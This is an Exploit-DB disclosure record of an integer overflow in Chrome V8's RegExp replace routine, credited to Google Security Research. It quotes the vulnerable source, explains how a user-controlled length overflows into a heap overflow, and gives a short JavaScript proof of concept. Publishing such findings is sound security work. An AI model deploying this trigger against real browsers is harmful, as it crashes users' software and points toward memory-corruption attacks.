Chrome V8 - 'Runtime_RegExpReplace' Integer Overflow

EDB-ID: 44084
Author: Google Security Research
Published: 2018-02-15
CVE: N/A
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Integer Overflow
Vulnerable App: N/A

 Here's a snippet of the method. 
     ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 
         isolate, captures_length_obj, 
         Object::ToLength(isolate, captures_length_obj)); 
     const int captures_length = PositiveNumberToUint32(*captures_length_obj); 
     ... 
     if (functional_replace) { 
       const int argc = 
           has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a) 
  
       ScopedVector<Handle<Object>> argv(argc); 
  
       int cursor = 0; 
       for (int j = 0; j < captures_length; j++) { 
         argv[cursor++] = captures[j]; 
       } 
  
       // (b) 
       argv[cursor++] = handle(Smi::FromInt(position), isolate); 
       argv[cursor++] = string; 
  
 The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b). 
  
  
 PoC: 
 */ 
  
 let cnt = 0; 
 let reg = /./g; 
 reg.exec = () => { 
     if (cnt++ == 0) 
         return {length: 0xfffffffe}; 
  
     cnt = 0; 
     return null; 
 }; 
  
 ''.replace(reg, () => {});

Source: www.exploit-db.com